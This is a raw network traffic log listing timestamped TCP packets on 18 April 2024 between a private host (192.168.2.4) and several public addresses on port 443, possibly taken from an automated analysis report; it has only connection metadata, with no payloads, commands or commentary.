Apr 18, 2024 00:28:01.649671078 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.650142908 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.650202036 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.650208950 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.650290012 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.650332928 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.650340080 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.650425911 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.650475025 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.650482893 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.651205063 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.651252031 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.651259899 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.651348114 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.651391983 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.651400089 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.651492119 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.651539087 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.651547909 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.652076006 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.652132988 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.652141094 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.677436113 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.694992065 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.703428984 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.703440905 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.703483105 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.703509092 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.703525066 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.703577995 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.703613997 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.703635931 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.720760107 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.720778942 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.720999956 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.720999956 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.721064091 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.721131086 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.733994007 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.734038115 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.734078884 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.734146118 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.734183073 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.734252930 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.737586975 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.737659931 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.737683058 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.737751007 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.737823963 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.738493919 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.738514900 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.750972986 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.751053095 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.752218008 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.752275944 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.752341986 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.752397060 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.752444029 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.752492905 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.752535105 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.752588034 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.753158092 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.753216982 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.754100084 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.754160881 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.754193068 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.754247904 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.754951000 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.755006075 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.755037069 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.755098104 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.755728960 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.755784035 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.756006002 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.756058931 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.756764889 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.756824017 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.756880045 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.756936073 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.757222891 CEST	49675	443	192.168.2.4	173.222.162.32
Apr 18, 2024 00:28:01.757654905 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.757709980 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.757762909 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.757807016 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.758596897 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.758656979 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.758675098 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.758733988 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.805064917 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.805114985 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.805170059 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.807213068 CEST	49750	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.807244062 CEST	443	49750	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.807291985 CEST	49750	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.807780981 CEST	49750	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.807799101 CEST	443	49750	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.808077097 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.808098078 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.835469007 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.837764978 CEST	49746	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.837819099 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.838413000 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.839260101 CEST	49746	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.839390039 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.839543104 CEST	49746	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.856942892 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.857016087 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.857045889 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.857098103 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.857150078 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.857196093 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.857232094 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.857280970 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.857317924 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.857359886 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.857369900 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.857460022 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.857503891 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.858535051 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.858546972 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.859910011 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.862246990 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.862272024 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.863533020 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.864140987 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.864435911 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.864464998 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.880156994 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.908142090 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.915227890 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.957307100 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.957356930 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.957427025 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.958369017 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.958414078 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.958477974 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.959180117 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.959214926 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.963581085 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.963608027 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.968378067 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.968399048 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.968472004 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.969057083 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.969082117 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.970289946 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.970366955 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.970457077 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.970850945 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.970926046 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.028666973 CEST	443	49750	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.030306101 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.041214943 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.041251898 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.041555882 CEST	49750	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.041568041 CEST	443	49750	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.042910099 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.042979002 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.044720888 CEST	443	49750	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.044791937 CEST	49750	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.061593056 CEST	49750	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.061865091 CEST	443	49750	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.062268019 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.062428951 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.062721968 CEST	49750	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.062736034 CEST	443	49750	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.062778950 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.062808990 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.073441982 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.073515892 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.073587894 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.074160099 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.074193001 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.104195118 CEST	49750	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.104268074 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.181377888 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.181703091 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.181730032 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.182267904 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.182676077 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.182775974 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.182837963 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.185477972 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.185693026 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.185713053 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.187339067 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.187500000 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.187779903 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.187922001 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.187932968 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.188018084 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.193247080 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.193389893 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.193491936 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.193526983 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.193546057 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.193671942 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.193762064 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.193798065 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.193813086 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.193933010 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.193964005 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.194016933 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.194056034 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.194060087 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.194088936 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.194200039 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.194212914 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.194356918 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.194456100 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.194467068 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.194494009 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.194492102 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.194547892 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.194556952 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.194657087 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.194669008 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.194752932 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.194766045 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.194781065 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.194873095 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.194905996 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.194919109 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.194998980 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.195214033 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.195214033 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.195249081 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.195362091 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.195976019 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.195976019 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.196063995 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.196198940 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.196253061 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.196285963 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.196286917 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.209523916 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.209619045 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.209681988 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.209747076 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.209842920 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.209897041 CEST	49746	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.209956884 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.210005045 CEST	49746	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.210058928 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.210118055 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.210175991 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.210233927 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.210263968 CEST	49746	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.210263968 CEST	49746	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.210299969 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.210330009 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.210354090 CEST	49746	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.210489988 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.210654020 CEST	49746	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.210712910 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.210803986 CEST	49746	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.212663889 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.212831020 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.213027954 CEST	49746	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.213048935 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.213092089 CEST	49746	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.213310003 CEST	49746	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.228133917 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.230870008 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.230871916 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.230885983 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.244116068 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.246880054 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.247014046 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.278667927 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.290199995 CEST	443	49750	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.290287018 CEST	443	49750	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.290838003 CEST	49750	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.291126013 CEST	49750	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.291153908 CEST	443	49750	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.299460888 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.299515009 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.299561024 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.299609900 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.299649954 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.299674034 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.299707890 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.299736023 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.299774885 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.299812078 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.299827099 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.299859047 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.300182104 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.300791979 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.300858021 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.300858974 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.300873995 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.300923109 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.300952911 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.300957918 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.300971985 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.301176071 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.301395893 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.301635981 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.301651955 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.301678896 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.301697016 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.301711082 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.301724911 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.301759958 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.301796913 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.301830053 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.301843882 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.301866055 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.301899910 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.301956892 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.302371979 CEST	49749	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.302397966 CEST	443	49749	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.303296089 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.303395033 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.394656897 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.394774914 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.394856930 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.394943953 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.394984007 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.395006895 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.395040035 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.398078918 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.398260117 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.398273945 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.401747942 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.401839018 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.401851892 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.405144930 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.405391932 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.405409098 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.408523083 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.408765078 CEST	49752	443	192.168.2.4	151.101.130.137
